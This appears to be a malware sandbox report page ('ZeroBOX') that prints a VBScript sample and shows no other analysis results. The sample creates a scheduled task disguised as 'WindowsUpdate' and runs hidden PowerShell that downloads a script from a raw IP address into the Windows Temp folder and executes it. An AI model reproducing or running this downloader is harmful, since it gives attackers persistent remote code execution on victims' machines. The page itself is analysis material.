Static | ZeroBOX
No static analysis available.
Set ALfUj = CreateObject("WScript.Shell")
ALfUj.run "schtasks /create /sc MINUTE /mo 100 /tn ""WindowsUpdate"" /tr ""\""%windir%\System32\WindowsPowershell\v1.0\powershell.exe\"" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command curl http://23.94.239.89/520/b/update.vbs -o C:\Windows\Temp\hkcmd.vbs;Start-Process powershell.exe C:\Windows\Temp\hkcmd.vbs -NoNewWindow"
ALfUj.Run "%windir%\System32\WindowsPowershell\v1.0\powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command ""& { curl http://23.94.239.89/520/b/update.vbs -o C:\Windows\Temp\hkcmd.vbs; Start-Process powershell.exe C:\Windows\Temp\hkcmd.vbs -NoNewWindow }""", 0, False
No antivirus signatures available.
No IRMA results available.